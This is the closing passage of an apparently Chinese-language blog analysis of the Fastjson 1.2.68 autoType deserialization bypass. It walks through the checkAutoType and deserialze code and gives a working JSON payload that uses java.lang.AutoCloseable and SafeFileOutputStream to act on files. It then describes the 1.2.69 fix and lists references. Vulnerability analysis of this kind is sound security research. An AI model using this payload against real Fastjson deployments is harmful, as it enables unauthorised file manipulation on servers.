1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (clazz != null ) { if (jsonType) { TypeUtils.addMapping(typeName, clazz); return clazz; } if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz) ) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz; } else { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy); if (beanInfo.creatorConstructor != null && autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } } }
返回 SafeFileOutputStream 到 JavaBeanDeserializer#deserialze 后就是调用构造函数完成反序列化操作了,到此基本结束。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected <T> T deserialze (DefaultJSONParser parser, // Type type, // Object fieldName, // Object object, // int features, // int [] setFlags) { if (deserializer == null ) { Class<?> expectClass = TypeUtils.getClass(type); userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); deserializer = parser.getConfig().getDeserializer(userType); } Object typedObject = deserializer.deserialze(parser, userType, fieldName); if (deserializer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer; if (typeKey != null ) { FieldDeserializer typeKeyFieldDeser = javaBeanDeserializer.getFieldDeserializer(typeKey); if (typeKeyFieldDeser != null ) { typeKeyFieldDeser.setValue(typedObject, typeName); } } } return (T) typedObject; }
总结
和 1.2.47 有一些类似,这里是利用 expectClass 来二次加载 expectClass 的子类绕过,而 expectClass 的选取需要在 TypeUtils#addBaseClassMappings 内,但不能在 INTERNAL_WHITELIST_HASHCODES 与黑名单内,而其子类的选取也不能位于黑名单内。
此处的利用链较多,不再赘述。
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package st.southsea;import com.alibaba.fastjson.JSON;public class Main { public static void main (String[] args) { String payload = "{\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + " \"tempPath\": \"/tmp/1\",\n" + " \"targetPath\": \"/tmp/2\"\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.69 对漏洞进行了修复 ,把 expectClass 替换为 expectHash 。
1.2.69
-1368967840069965882L
0xed007300a7b227c6L
java.lang.AutoCloseable
1.2.69
2980334044947851925L
0x295c4605fd1eaa95L
java.lang.Readable
1.2.69
5183404141909004468L
0x47ef269aadc650b4L
java.lang.Runnable
Refer
浅谈 Java RMI
JNDI 注入漏洞的前世今生
Java 反序列化(之)JNDI 注入
Fastjson JdbcRowSetImpl 链及后续漏洞分析
FastJson JdbcRowSetImpl 链分析
Java 安全之 FastJson JdbcRowSetImpl 链分析
Fastjson-1-2-48-RCE 漏洞复现与分析
Fastjson<=1.2.47 反序列化漏洞复现及分析
fastjson 到底做错了什么?为什么会被频繁爆出漏洞?
Json 反序列化漏洞
JAVA 反序列化—FastJson 组件
Fastjson parse 突破特殊 getter 调用限制
Fastjson TemplatesImpl 链反序列化漏洞分析
fastjson 不出网利用简析
探索高版本 JDK 下 JNDI 漏洞的利用方法
浅析 Fastjson1.2.62-1.2.68 反序列化漏洞
FastJason 1.2.22-1.2.24 TemplatesImpl 利用链分析
Fastjson 系列二——1.2.22-1.2.24 反序列化漏洞
fastjson 不出网利用简析
fastjson 读文件 gadget 的利用场景扩展
fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路
fastjson 1.2.68 漏洞分析
Fastjson 反序列化漏洞